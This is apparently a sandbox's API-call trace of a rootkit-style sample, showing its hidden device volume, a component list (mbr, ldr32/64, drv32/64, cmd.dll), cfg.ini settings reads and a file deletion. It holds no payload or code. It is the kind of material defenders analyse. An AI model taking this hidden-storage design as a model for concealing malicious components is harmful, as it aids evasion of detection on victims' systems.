[0122.168] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.168] IdePortDispatch () returned 0x103 [0122.168] KeWaitForMutexObject () returned 0x0 [0122.169] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.169] KeLeaveCriticalRegion () [0122.169] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.170] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.170] KeEnterCriticalRegion () [0122.170] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.170] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.170] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.170] KeLeaveCriticalRegion () [0122.170] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.170] KeEnterCriticalRegion () [0122.170] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.170] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.170] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.170] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.170] KeLeaveCriticalRegion () [0122.170] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.170] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.170] KeEnterCriticalRegion () [0122.170] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.170] ExFreePoolWithTag (P=0xfffffa8003be3440, Tag=0x0) [0122.170] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.170] KeLeaveCriticalRegion () [0122.170] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.170] ReleaseMutex (hMutex=0xf0) returned 1 [0122.170] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.170] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.171] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.171] KeEnterCriticalRegion () [0122.171] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.171] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.171] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.171] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.171] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.171] IdePortDispatch () returned 0x103 [0122.171] KeWaitForMutexObject () returned 0x0 [0122.171] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.171] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.171] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.171] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.171] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.171] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037de700 [0122.171] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.171] KeLeaveCriticalRegion () [0122.171] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.171] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.171] KeEnterCriticalRegion () [0122.171] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.171] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.171] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.171] KeLeaveCriticalRegion () [0122.171] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.171] KeEnterCriticalRegion () [0122.171] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.172] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.172] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.172] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.172] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.172] IdePortDispatch () returned 0x103 [0122.172] KeWaitForMutexObject () returned 0x0 [0122.172] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.172] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.172] KeLeaveCriticalRegion () [0122.172] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.172] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.172] KeEnterCriticalRegion () [0122.172] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.172] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c43000 [0122.172] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.172] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.172] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.172] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.172] IdePortDispatch () returned 0x103 [0122.172] KeWaitForMutexObject () returned 0x0 [0122.172] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.172] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.172] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.172] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.172] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.172] IdePortDispatch () returned 0x103 [0122.173] KeWaitForMutexObject () returned 0x0 [0122.173] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.173] KeLeaveCriticalRegion () [0122.173] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.173] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.173] KeEnterCriticalRegion () [0122.173] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.173] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.173] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.173] KeLeaveCriticalRegion () [0122.173] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.173] KeEnterCriticalRegion () [0122.173] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.173] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.173] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.173] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.173] KeLeaveCriticalRegion () [0122.173] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.173] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.174] KeEnterCriticalRegion () [0122.174] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.174] ExFreePoolWithTag (P=0xfffffa80037de700, Tag=0x0) [0122.174] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.174] KeLeaveCriticalRegion () [0122.174] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.174] ReleaseMutex (hMutex=0xf0) returned 1 [0122.174] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.174] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.174] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.174] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.174] KeEnterCriticalRegion () [0122.174] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.174] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.174] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.174] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.174] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.174] IdePortDispatch () returned 0x103 [0122.174] KeWaitForMutexObject () returned 0x0 [0122.174] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.174] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.174] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.174] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.174] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.174] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.174] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.174] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.174] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.174] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.174] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.174] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.174] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.174] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.174] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.174] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.174] KeLeaveCriticalRegion () [0122.174] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.175] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.175] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.175] KeEnterCriticalRegion () [0122.175] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.175] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.175] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.175] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.175] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.175] IdePortDispatch () returned 0x103 [0122.175] KeWaitForMutexObject () returned 0x0 [0122.175] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.175] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.175] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.175] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.175] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.175] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.175] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.175] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.175] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.175] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.175] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.175] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.175] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.175] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.175] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.175] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.175] KeLeaveCriticalRegion () [0122.175] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.175] ReleaseMutex (hMutex=0x100) returned 1 [0122.175] Sleep (dwMilliseconds=0x2bf20) [0122.182] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c0528d0, dwHighDateTime=0x1d24fa4)) [0122.182] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.182] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.182] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.182] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.182] KeEnterCriticalRegion () [0122.182] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.182] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.182] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.182] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.182] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.182] IdePortDispatch () returned 0x103 [0122.182] KeWaitForMutexObject () returned 0x0 [0122.183] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.183] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.183] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.183] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.183] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.183] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be4fb0 [0122.183] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.183] KeLeaveCriticalRegion () [0122.183] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.183] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.183] KeEnterCriticalRegion () [0122.183] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.183] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.183] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.183] KeLeaveCriticalRegion () [0122.183] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.183] KeEnterCriticalRegion () [0122.183] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.183] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.183] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.183] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.183] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.183] IdePortDispatch () returned 0x103 [0122.183] KeWaitForMutexObject () returned 0x0 [0122.183] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.183] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.183] KeLeaveCriticalRegion () [0122.183] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.183] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.183] KeEnterCriticalRegion () [0122.183] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.183] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c46000 [0122.183] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.183] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.183] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.184] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.184] IdePortDispatch () returned 0x103 [0122.184] KeWaitForMutexObject () returned 0x0 [0122.184] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.184] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.184] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.184] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.184] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.184] IdePortDispatch () returned 0x103 [0122.184] KeWaitForMutexObject () returned 0x0 [0122.184] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.184] KeLeaveCriticalRegion () [0122.184] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.185] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.185] KeEnterCriticalRegion () [0122.185] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.185] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.185] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.185] KeLeaveCriticalRegion () [0122.185] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.185] KeEnterCriticalRegion () [0122.185] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.185] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.185] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.185] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.185] KeLeaveCriticalRegion () [0122.185] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.185] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.185] KeEnterCriticalRegion () [0122.185] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.185] ExFreePoolWithTag (P=0xfffffa8003be4fb0, Tag=0x0) [0122.185] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.185] KeLeaveCriticalRegion () [0122.185] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.185] ReleaseMutex (hMutex=0xf0) returned 1 [0122.185] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.185] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.185] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.185] KeEnterCriticalRegion () [0122.185] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.185] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.185] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.185] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.185] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.185] IdePortDispatch () returned 0x103 [0122.185] KeWaitForMutexObject () returned 0x0 [0122.185] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.185] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.186] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.186] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.186] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.186] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be35a0 [0122.186] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.186] KeLeaveCriticalRegion () [0122.186] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.186] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.186] KeEnterCriticalRegion () [0122.186] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.186] 